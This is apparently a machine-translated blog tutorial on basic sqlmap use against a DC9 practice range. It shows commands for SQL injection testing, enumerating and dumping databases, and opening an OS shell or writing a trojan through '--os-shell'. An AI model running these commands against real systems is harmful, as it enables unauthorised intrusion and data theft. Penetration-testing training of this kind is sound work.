当前位置:网站首页>Basic usage of sqlmap
Basic usage of sqlmap
2022-07-03 10:51:00 【Tianxia (Tianyan teacher)】
This article only introduces sqlmap Simple use method , Refer to official documentation
https://github.com/sqlmapproject/sqlmap/wiki/Usage
csdn The master
https://blog.csdn.net/Breeze_CAT/article/details/80628392
Personal advice , See the specific parameters directly csdn Master's , This article takes DC9 Take the shooting range as the target to practice , Use sqlmap Get target data or permissions
GET type
sqlmap -u http://192.168.43.143/ceshi.php?id=1 --banth --level 4
-u Enter your destination address --batch Automatically enter the attribute value of the option --level Set the test level (1-5, The default is 1)lv2:cookie Inject ; lv3:user-agent Inject ,lv4:refere Inject ; lv5:host Inject
POST type
You can get the request package of the corresponding address , Use bp Just grab and save
sqlmap -u ceshi.txt --batch --level 4
perhaps
sqlmap -u http://192.168.43.143/results.php --method=POST --data="search=1" --level 4 --batch
--method Select the method of parameter transmission --data Select the passed in parameters
sqlmap -u http://192.168.43.143/results.php --method=POST --data="search=1" --level 4 --batch --random-agent
--random-agent Use random UA head sqlmap -r ceshi.txt --batch --current-db View the current database --current-db View the current database
Query database content
View the name of the owned database
sqlmap -r ceshi.txt --batch --dbs --level 4
Select database , The query table name
sqlmap -r cesh.txt --batch -D shujuku --tables
Query the column names in the table
sqlmap -r ceshi.txt --batch -D shjuku -T biao --columns
View the contents of some columns in the table
sqlmap -r ceshi.txt --batch -D shujuku -T biao -C id,username --dump
--dump Download means , The preceding parameters are the content to be downloaded
sqlmap -r ceshi.txt --batch --dump-all
--dump-all Means Download all , That is, take off your pants
view the database , Correspondence of table contents
sqlmap -r ceshi.txt --schema
--schema Target database database system management mode , Similar to a topological graph
Write Trojan , Carry out orders
sqlmap -r ceshi.txt --os-shell
sqlmap Will automatically find the path to write shell
fingerprint identification
sqlmap -r ceshi.txt -f --dbs
When the target has injection , Use -f Parameter to get the target operating system information
边栏推荐
- 有些能力,是工作中学不来的,看看这篇超过90%同行
- 【吐槽&脑洞】关于逛B站时偶然体验的弹幕互动游戏魏蜀吴三国争霸游戏的一些思考
- Que se passe - t - il ensuite pour ceux qui se sont concentrés sur les tests automatisés?
- Flink -- built in function (all)
- [SQL] an article takes you to master the operations related to query and modification of SQL database
- Flink--Chain的条件源码分析
- Take you into the cloud native database industry, Amazon Aurora
- Preliminary knowledge of Neural Network Introduction (pytorch)
- The story of a 30-year-old tester struggling, even lying flat is extravagant
- Flink -- 内置函数(ALL)
猜你喜欢

Data captured

Jupiter notebook changing font style and font size
![[ultra detailed] implement soft and hard interval SVM based on sklearn](/img/89/b9d03ec26239d88b641f76dc95b3cd.jpg)
[ultra detailed] implement soft and hard interval SVM based on sklearn

大型电商项目-环境搭建

Interviewer: what is the internal implementation of the list in redis?

QT:QSS自定义QTableView实例

【吐槽&脑洞】关于逛B站时偶然体验的弹幕互动游戏魏蜀吴三国争霸游戏的一些思考

Entropy method to calculate weight

Weight decay (pytorch)

帶你走進雲原生數據庫界扛把子Amazon Aurora
随机推荐
Leetcode skimming ---374
Buy health products for parents
QT:QSS自定义QGroupBox实例
如何在游戏中制作一个血条
Weight decay (pytorch)
Mysql5.7 installation and configuration tutorial (Graphic ultra detailed version)
QT:QSS自定义 QTabWidget 和 QTabBar实例
QT:QSS自定义 QMenuBar实例
硬 货 | 一改测试步骤代码就全写?为什么不试试用 Yaml实现数据驱动?
Leetcode skimming ---852
带你走进云原生数据库界扛把子Amazon Aurora
Leetcode skimming ---35
Model selection for neural network introduction (pytorch)
Flink <-->JDBC的使用介绍+with参数
Numpy quick start (I) -- pre knowledge (create array + constant + data type)
Preliminary knowledge of Neural Network Introduction (pytorch)
Leetcode skimming ---977
[ultra detailed] implement soft and hard interval SVM based on sklearn
Unity学习笔记:联网游戏Pixel Adventure 1学习过程&纠错心得
Some abilities can't be learned from work. Look at this article, more than 90% of peers